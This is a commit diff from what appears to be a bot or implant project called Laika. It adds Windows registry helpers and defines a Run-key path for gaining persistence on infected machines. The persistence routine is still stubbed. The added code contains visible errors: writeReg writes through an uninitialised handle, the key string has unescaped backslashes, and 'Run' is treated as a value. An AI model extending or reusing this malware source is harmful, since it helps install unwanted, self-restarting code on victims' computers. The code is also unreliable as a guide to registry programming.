Windows: Added registry manipulation boilerplate

bot/win/winpersist.c

@@ -4,12 +4,16 @@
 
 #include "persist.h"
 #include "lconfig.h"
+#include "lmem.h"
 #include "lerror.h"
 
 /*      we want a semi-random mutex that is stable between similar builds,
 *   so we use the GIT_VERSION as our mutex :D */
 #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
 
+#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion"
+#define LAIKA_REG_VAL "Run"
+
 HANDLE laikaB_mutex;
 
 /* check if laika is running as super-user */
@@ -34,6 +38,40 @@ void laikaB_unmarkRunning() {
     ReleaseMutex(laikaB_mutex);
 }
 
+HKEY openReg(HKEY key, LPCTSTR subKey) {
+    HKEY hKey;
+    LONG code;
+
+    if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS)
+        LAIKA_ERROR("Failed to open registry key!\n");
+
+    return hKey;
+}
+
+/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
+LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
+    LPCTSTR str;
+    DWORD ret;
+
+    /* get the size */
+    *sz = 0;
+    RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
+    str = (LPCTSTR)laikaM_malloc(*sz);
+
+    if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
+        LAIKA_ERROR("Failed to read registry!\n");
+
+    return str;
+}
+
+void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) {
+    HKEY hKey;
+    LONG code;
+
+    if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
+        LAIKA_ERROR("Failed to write registry!\n");
+}
+
 /* try to gain persistance on machine */
 void laikaB_tryPersist() {
     /* stubbed */